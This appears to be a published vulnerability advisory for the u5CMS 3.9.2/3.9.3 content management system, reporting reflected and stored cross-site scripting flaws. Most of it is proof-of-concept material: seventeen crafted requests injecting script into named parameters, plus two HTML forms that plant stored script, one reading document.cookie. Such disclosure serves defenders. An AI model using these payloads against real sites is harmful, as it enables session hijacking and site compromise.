101 lines
No EOL
4 KiB
Text
101 lines
No EOL
4 KiB
Text
|
|
u5CMS 3.9.3 Multiple Stored And Reflected XSS Vulnerabilities
|
|
|
|
|
|
Vendor: Stefan P. Minder
|
|
Product web page: http://www.yuba.ch
|
|
Affected version: 3.9.3 and 3.9.2
|
|
|
|
Summary: u5CMS is a little, handy Content Management System for medium-sized
|
|
websites, conference / congress / submission administration, review processes,
|
|
personalized serial mails, PayPal payments and online surveys based on PHP and
|
|
MySQL and Apache.
|
|
|
|
Desc: u5CMS suffers from multiple stored and reflected cross-site scripting
|
|
vulnerabilities. Input passed to several POST and GET parameters is not properly
|
|
sanitised before being returned to the user. This can be exploited to execute
|
|
arbitrary HTML and script code in a user's browser session in context of an
|
|
affected site.
|
|
|
|
Tested on: Apache 2.4.10 (Win32)
|
|
PHP 5.6.3
|
|
MySQL 5.6.21
|
|
|
|
|
|
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2015-5223
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5223.php
|
|
|
|
|
|
29.12.2014
|
|
|
|
---
|
|
|
|
|
|
Reflected XSS:
|
|
==============
|
|
|
|
GET /u5cms/index.php?c=start"><script>alert(1)</script>&l=e&p=1&r= HTTP/1.1
|
|
GET /u5cms/index.php?i=1"><script>alert(2)</script>&p=1&c=start&l=d HTTP/1.1
|
|
GET /u5cms/index.php?c=start&l=e"><script>alert(3)</script>&p=1&r= HTTP/1.1
|
|
GET /u5cms/index.php?c=start&l=e&p=1"><script>alert(4)</script>&r= HTTP/1.1
|
|
GET /u5cms/u5admin/cookie.php?a=i2_l%00%3balert(5)//&b=d HTTP/1.1
|
|
GET /u5cms/u5admin/cookie.php?a=i2_l&b=%3balert(6)// HTTP/1.1
|
|
GET /u5cms/u5admin/copy.php?name=album"><img%20src%3da%20onerror%3dalert(7)> HTTP/1.1
|
|
GET /u5cms/u5admin/delete.php?name=a"><img%20src%3da%20onerror%3dalert(8)> HTTP/1.1
|
|
GET /u5cms/u5admin/deletefile.php?typ=d&name=shortreference&f=../r/shortreference/shortreference_en.php.txt'%3balert(9)// HTTP/1.1
|
|
GET /u5cms/u5admin/deletefile.php?typ=d'%3balert(10)//&name=shortreference&f=../r/shortreference/shortreference_en.php.txt HTTP/1.1
|
|
GET /u5cms/u5admin/done.php?n=inserted%20test"><script>alert(11)</script> HTTP/1.1
|
|
GET /u5cms/u5admin/editor.php?c=c"><script>alert(12)</script> HTTP/1.1
|
|
POST /u5cms/u5admin/meta2.php?typ=a&uri=metai.php'%3balert(13)// HTTP/1.1
|
|
GET /u5cms/u5admin/notdone.php?n=wrong%20name,%20not%20deleted%20<script>alert(14)</script> HTTP/1.1
|
|
GET /u5cms/u5admin/rename2.php?name=valbum&newname=valbum'%3balert(15)//&typ=a HTTP/1.1
|
|
GET /u5cms/u5admin/sendfile.php?name=shortreference&l=_frd"><script>alert(16)</script>&typ=d HTTP/1.1
|
|
GET /u5cms/u5admin/characters.php?more=335&s=335"><script>alert(17)</script> HTTP/1.1
|
|
|
|
|
|
Stored XSS:
|
|
===========
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://10.0.50.3/u5cms/u5admin/savepage.php" method="POST">
|
|
<input type="hidden" name="page" value='ZSL"><script>alert(document.cookie);</script>' />
|
|
<input type="hidden" name="view" value="d" />
|
|
<input type="hidden" name="ishomepage" value="1" />
|
|
<input type="hidden" name="hidden" value="0" />
|
|
<input type="hidden" name="logins" value="" />
|
|
<input type="hidden" name="title_d" value="Test" />
|
|
<input type="hidden" name="desc_d" value="" />
|
|
<input type="hidden" name="key_d" value="" />
|
|
<input type="hidden" name="content_d" value="Tstz" />
|
|
<input type="hidden" name="title_e" value="ZSL" />
|
|
<input type="hidden" name="desc_e" value="llll" />
|
|
<input type="hidden" name="key_e" value="qqq" />
|
|
<input type="hidden" name="content_e" value="AllTheWay" />
|
|
<input type="hidden" name="title_f" value="None" />
|
|
<input type="hidden" name="desc_f" value="" />
|
|
<input type="hidden" name="key_f" value="" />
|
|
<input type="hidden" name="content_f" value="Aloha" />
|
|
<input type="hidden" name="coco" value="1423010603" />
|
|
<input type="submit" value="Submit form" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
--
|
|
|
|
|
|
<html>
|
|
<body>
|
|
<form action="http://10.0.50.3/u5cms/u5admin/new2.php?typ=e" method="POST">
|
|
<input type="hidden" name="name" value='"><img%20src%3da%20onerror%3dalert("XSS")>' />
|
|
<input type="hidden" name="typ" value="e" />
|
|
<input type="submit" value="Submit form" />
|
|
</form>
|
|
</body>
|
|
</html> |